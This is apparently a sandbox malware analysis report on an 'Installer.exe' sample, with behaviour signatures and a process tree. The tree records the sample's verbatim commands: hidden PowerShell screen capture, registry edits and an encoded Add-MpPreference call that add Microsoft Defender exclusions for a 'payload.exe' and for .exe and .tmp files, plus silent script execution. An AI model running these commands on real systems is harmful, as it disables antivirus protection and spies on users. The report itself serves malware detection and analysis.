Analysis

  • max time kernel
    152s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/07/2026, 04:23

General

  • Target
    Installer.exe
  • Size 168.1MB
  • Sample260704-ezyfmaa12z
  • SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops file in Windows directory 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Users\Admin\AppData\Local\Temp\Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1656 --field-trial-handle=1660,i,2668500756046309350,3587523811553963476,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
      2⤵
        PID:1676
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5036
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2084
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:2028
        • C:\Users\Admin\AppData\Local\Temp\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2028 --field-trial-handle=1660,i,2668500756046309350,3587523811553963476,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          2⤵
            PID:4800
          • C:\Users\Admin\AppData\Local\Temp\Installer.exe
            "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2184 --field-trial-handle=1660,i,2668500756046309350,3587523811553963476,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
            2⤵
              PID:2340
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139177940.png\"); $g.Dispose(); $bmp.Dispose()""
              2⤵
              • Hide Artifacts: Hidden Window
              • Suspicious use of WriteProcessMemory
              PID:5856
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139177940.png\"); $g.Dispose(); $bmp.Dispose()"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:6104
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "net session"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2448
              • C:\Windows\system32\net.exe
                net session
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3012
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 session
                  4⤵
                    PID:4904
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_8bdb6fa5.vbs""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3304
                • C:\Windows\system32\wscript.exe
                  wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_8bdb6fa5.vbs"
                  3⤵
                    PID:1180
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1280
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                    3⤵
                    • Windows security bypass
                    PID:5720
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3420
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                    3⤵
                      PID:1636
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1128
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405" /t REG_DWORD /d 0 /f
                      3⤵
                      • Windows security bypass
                      PID:3096
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4996
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405" /t REG_DWORD /d 0 /f
                      3⤵
                        PID:2660
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:956
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                        3⤵
                        • Windows security bypass
                        PID:5832
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4748
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                        3⤵
                          PID:1852
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1272
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe" /t REG_DWORD /d 0 /f
                          3⤵
                          • Windows security bypass
                          PID:3552
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4232
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe" /t REG_DWORD /d 0 /f
                          3⤵
                            PID:4432
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4416
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:4896
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3744
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:3280
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:6004
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:4676
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA5ADEANwA2ADQAMAA1ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADkAMQA3ADYANAAwADUAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1744
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA5ADEANwA2ADQAMAA1ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADkAMQA3ADYANAAwADUAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
                            3⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3784
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139179734.png\"); $g.Dispose(); $bmp.Dispose()""
                          2⤵
                          • Hide Artifacts: Hidden Window
                          • Suspicious use of WriteProcessMemory
                          PID:3284
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139179734.png\"); $g.Dispose(); $bmp.Dispose()"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4376
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1396
                          • C:\Windows\system32\reg.exe
                            reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
                            3⤵
                              PID:4540
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405""
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5372
                            • C:\Windows\system32\reg.exe
                              reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405"
                              3⤵
                                PID:4204
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:6080
                              • C:\Windows\system32\reg.exe
                                reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
                                3⤵
                                  PID:3652
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe""
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2380
                                • C:\Windows\system32\reg.exe
                                  reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe"
                                  3⤵
                                    PID:2960
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139183672.png\"); $g.Dispose(); $bmp.Dispose()""
                                  2⤵
                                  • Hide Artifacts: Hidden Window
                                  • Suspicious use of WriteProcessMemory
                                  PID:4420
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139183672.png\"); $g.Dispose(); $bmp.Dispose()"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2776
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe' -ErrorAction SilentlyContinue""
                                  2⤵
                                  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                  • Hide Artifacts: Hidden Window
                                  • Hide Artifacts: Ignore Process Interrupts
                                  • Suspicious use of WriteProcessMemory
                                  PID:3208
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783139176405\payload.exe' -ErrorAction SilentlyContinue"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4196
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139184831.png\"); $g.Dispose(); $bmp.Dispose()""
                                  2⤵
                                  • Hide Artifacts: Hidden Window
                                  • Suspicious use of WriteProcessMemory
                                  PID:3920
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783139184831.png\"); $g.Dispose(); $bmp.Dispose()"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4528
                                • C:\Windows\system32\cmd.exe
